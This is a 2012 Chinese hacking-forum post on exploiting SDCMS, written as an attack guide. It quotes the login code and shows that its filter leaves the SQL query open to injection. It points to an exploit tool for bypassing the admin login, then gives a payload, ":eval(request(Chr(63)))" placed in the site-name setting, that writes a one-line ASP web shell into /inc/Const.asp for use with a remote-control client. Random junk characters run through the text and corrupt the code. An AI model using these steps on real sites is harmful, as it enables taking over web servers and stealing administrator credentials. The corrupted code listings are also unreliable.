找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3687|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
' @, m; N5 q- w4 A" N0 m漏洞文件:后台目录/index.asp$ a  C' ?6 @- U
! P& E5 N8 b. m7 [  T. \! D+ L8 s
Sub Check& h' o: R' e$ F. p7 R; w& W% L6 b
    Dim username,password,code,getcode,Rs( s- N+ R+ Y' I" Y
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub8 n, c, b9 y+ Y- d# n
    username=FilterText(Trim(Request.Form("username")),1)
- {( e0 z' s+ R" X    password=FilterText(Trim(Request.Form("password")),1)
3 z8 g( Z( }. f- z8 E! S    code=Trim(Request.Form("yzm"))1 J/ {( h6 C8 v# \) Y6 w; L
    getcode=Session("SDCMSCode"), w2 k4 S) |# e, I& e( y) c0 ?
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
1 R5 B% ^3 a. \    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
) ^! W5 ~3 U$ t7 Z+ Y    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
+ Z# U9 ], t& d' }    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied" @% R! a9 t1 F% R( @* B, v
    IF username="" or password="" Then, M0 B0 ^& m$ t% B4 Z2 W7 k
        Echo "用户名或密码不能为空"ied2 Z9 a/ ~/ A" x3 j5 Y/ d
    Else' o: Q  I! s7 U! h! [4 y
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")+ S; |% m1 l+ D. b) Z
        IF Rs.Eof Then, K0 @; u2 T5 H2 f8 s0 G
            AddLog username,GetIp,"登录失败",1) V  ^. v; |7 H0 B6 D- l6 d
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
. x1 B4 u6 i  M) Y* M. d+ B, V        Else
) s# V0 l4 x6 F, \4 K9 [* y            Add_Cookies "sdcms_id",Rs(0)
* a% l& Q3 l& V" X            Add_Cookies "sdcms_name",username
9 l: R" O/ Y# l5 g' s* X% y            Add_Cookies "sdcms_pwd",Rs(2)7 F  F9 w! A+ k/ k/ x! g8 R( j) P- d- l
            Add_Cookies "sdcms_admin",Rs(3)8 y/ j3 {" ?8 h  \& |, c9 |. X
            Add_Cookies "sdcms_alllever",Rs(4)
* h* K4 R9 g' r$ c+ a- O            Add_Cookies "sdcms_infolever",Rs(5)
! T6 l7 L9 H/ F* H. f% E0 Q( L            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
9 u: y5 _# F9 H            AddLog username,GetIp,"登录成功",1
7 z7 |; p+ e0 Q, g9 r0 x7 \2 j            '自动删除30天前的Log记录
8 o7 M/ G* N- O( E4 j; P+ q            IF Sdcms_DataType Then( T; X7 U3 B% ~
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
' L$ Y4 ]3 X; X! ^9 U% g            Else
# q6 A1 }- z) D0 z* v7 x; C: O                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")- d1 g+ L1 o4 O- K/ }7 d
            End IF
6 e5 W, {/ z5 S# _            Go("sdcms_index.asp")
; n& Z; K& o3 e& d$ s6 z        End IF
2 ], D" Y7 [) A+ V/ q9 o( l2 B2 s        Rs.Close
' R8 [4 f% ]9 U: w  l( H        Set Rs=Nothing% i6 c) I& {3 i1 i
    End IF
6 X3 S/ l  p' a% X/ AEnd Sub; t" j" t4 K) V# e9 @$ M* ~: _
1 D( y7 P0 |8 u2 r; E. O
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码+ ]7 _& P1 ]5 @9 t% K
5 H# |( Z/ I( d6 P3 ?- ]) R5 G
Function FilterText(ByVal t0,ByVal t1)! D+ [; q3 ?. S
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
& a4 h* B3 t0 A5 m; ~: X  ]    t0=Trim(t0)3 H; ^2 R) Q. y; ?# n# H: G# O* M$ j
    Select Case t1
# T) S3 ]; j7 J9 s1 h  _" U7 F! M        Case "1"
" ]& c) y0 N; Y4 X5 o$ m' b            t0=Replace(t0,Chr(32),"")
. n7 K- L$ I% E) `            t0=Replace(t0,Chr(13),"")1 J  N2 k/ U) l- H
            t0=Replace(t0,Chr(10)&Chr(10),"")+ E; m' H5 c- s5 p  C9 p. t2 z( l
            t0=Replace(t0,Chr(10),"")
+ x# Q8 W; L8 E' \3 ~. }        Case "2"8 u" P1 C8 c7 J
            t0=Replace(t0,Chr(8),"")'回格( Y6 G5 u0 u  @
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
/ Y( E4 _' w9 {% ]; c6 n! I; M1 T            t0=Replace(t0,Chr(10),"")'换行: ], D! }" S- l: b/ C( ?
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)0 R# Q7 c( }$ r7 z. V- c
            t0=Replace(t0,Chr(12),"")'换页/ ~) {' L9 C9 @% p3 R) |1 Q1 h9 H( f$ ?
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合9 m7 L3 a- x$ X, ?: r
            t0=Replace(t0,Chr(22),"")
9 A" Z& W% L9 @" M4 |/ W            t0=Replace(t0,Chr(32),"")'空格 SPACE. Z0 t; @: R, y1 t3 H
            t0=Replace(t0,Chr(33),"")'!- |+ ^+ w4 r- c/ w
            t0=Replace(t0,Chr(34),"")'"
6 y# G% i) ^: U' C9 P. o8 u            t0=Replace(t0,Chr(35),"")'#% s0 V! Y9 v' X5 |7 I; ?" R/ T
            t0=Replace(t0,Chr(36),"")'$6 ?- p+ j1 N4 _2 g
            t0=Replace(t0,Chr(37),"")'%
; D# Y( I$ q. t, M            t0=Replace(t0,Chr(38),"")'&
/ h9 f* r0 d! v% k% {            t0=Replace(t0,Chr(39),"")''
. p. y$ S  H' ?5 M            t0=Replace(t0,Chr(40),"")'(
+ ?9 [* \2 o, ~' L            t0=Replace(t0,Chr(41),"")'); U4 P8 C, ]( F
            t0=Replace(t0,Chr(42),"")'*. {6 [0 `8 ~, W8 c, T0 U
            t0=Replace(t0,Chr(43),"")'+: `3 m6 G* s5 U1 S& y5 s+ S# I% M
            t0=Replace(t0,Chr(44),"")',! r% ~2 `1 y' \
            t0=Replace(t0,Chr(45),"")'-
! u/ P, {& V/ H- d' X            t0=Replace(t0,Chr(46),"")'.: m) y" ]8 S6 A# ~
            t0=Replace(t0,Chr(47),"")'/- m4 t4 C* l3 J
            t0=Replace(t0,Chr(58),"")':  ~2 f0 r, t! C0 ?; i- G& m) j
            t0=Replace(t0,Chr(59),"")';
* S, P0 r% g; v& d/ V/ y            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
1 n: ^" j9 Q8 @+ u4 }0 u            t0=Replace(t0,Chr(63),"")'?
, C9 e0 Z- q9 j5 _            t0=Replace(t0,Chr(64),"")'@
2 D& U3 H7 K0 ^# w! [4 k            t0=Replace(t0,Chr(91),"")'\- B( j- H6 C5 y, a- ]
            t0=Replace(t0,Chr(92),"")'\6 L$ P7 h- p# d1 J
            t0=Replace(t0,Chr(93),"")']
# a7 Y' v& b, V% d! y& L" T            t0=Replace(t0,Chr(94),"")'^( o5 A5 H' K* s1 J8 V
            t0=Replace(t0,Chr(95),"")'_
4 ~0 D$ I5 T0 l' [1 ]            t0=Replace(t0,Chr(96),"")'`
7 Y  ]2 d, L" A5 ?: ~. [" n            t0=Replace(t0,Chr(123),"")'{
* N; e, ^! p. N            t0=Replace(t0,Chr(124),"")'|5 l9 o4 b3 J0 ]* M5 V3 Q
            t0=Replace(t0,Chr(125),"")'}
& i4 t/ v! C' S% @  k6 ^            t0=Replace(t0,Chr(126),"")'~
9 I5 x! U, A; }+ l    Case Else) B9 s$ m' C2 y( R
        t0=Replace(t0, "&", "&")
6 |; B/ x* J1 X& O4 }2 O6 J3 f, h. N        t0=Replace(t0, "'", "'")
7 t" P% k1 W' P8 R, K3 ^4 p' y+ \        t0=Replace(t0, """", """)5 B% X- E! A9 k- X% [
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")- G3 U$ G* H; E( @( s/ w1 Z5 [
    End Select0 g& D7 v' v( A* V$ K2 {8 O
    IF Instr(Lcase(t0),"expression")>0 Then
( f: B+ `4 P2 c* K        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)4 t! v7 i* Z7 u& ]. \# B
    End If# A2 `1 \$ h9 p4 `, F
    FilterText=t0$ y  k$ \# D6 X4 M3 e8 _7 r
End Function
3 y% [, ?2 a" a% @/ o& j! G# q# q
+ B8 D- s$ b6 `  V& {  O3 T2 ~看到没。直接参数是1 只过滤
4 s1 P& |: |9 w                        t0=Replace(t0,Chr(32)," ")
" B4 }: ?/ y" x& _7 e                        t0=Replace(t0,Chr(13),"")
4 q: z1 O# _4 D) [/ r  n                        t0=Replace(t0,Chr(10)&Chr(10),"
9 U3 I+ M' A2 t")
: w& E- b1 n" {" u5 Y8 p2 F' ~                        t0=Replace(t0,Chr(10),"0 R/ H* c* ]  T* n- t  G! I. x/ u
")
/ e- L+ O) C& P% u3 ]3 S' P+ \漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
9 e% }7 f5 }3 f0 X+ U: XEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP7 [9 S% P0 D$ M! v7 g, U
$ a7 B* n( [- [! P$ Y8 O. ~
测试:* q/ \% w" S1 G% d

* {0 o: Y" ]: F1 e) M
; j# p) @, x9 N# L6 o& a+ Q: u) r5 `现在输入工具上验证码,然后点OK0 ~: j5 ]& F5 F5 `
4 T" a: B" x# q  }
1 @5 X7 K8 }. U
看到我们直接进入后台管理界面了,呵呵!2 Y9 r0 a) f$ v2 v9 u

1 b9 `- V# j5 a0 _6 r- S5 K  u4 u  E4 A! W: W( h4 y9 m: [, W- M. }6 z
) h' M. T- H- S$ s3 H- `( k$ f+ c
这样直接进入后台了。。。。. C8 r7 s1 D: m6 P& |

  P) n. N2 Z& S- c / Y7 X2 d/ o6 K% c7 e9 W" w
4 o# l$ P: \" |8 O
SDCMS提权:
" @4 z8 l" |) X8 w4 e9 B  H1 G
: l5 R! n# I$ |1 F! K方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
/ h% b5 d. Z' l  X4 f1 b
: ?1 D5 ]  i& e# s9 g: }, E5 v: n; ~" K- {( m' X) D  s* z5 P
- j+ W8 A, Z& K  G) n- |5 ?6 `9 u
OK,现在用菜刀连接下!
( ^- n$ |' ]  J* ]* v: [0 b1 `' s4 n" a, W

1 i! z' Z2 p! ~% y- ?3 `) i4 E$ v8 ~
/ \* t# c! W) p4 R. t* x- L
$ S2 U' O2 f3 c  X9 _: a# j. U7 g4 `3 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表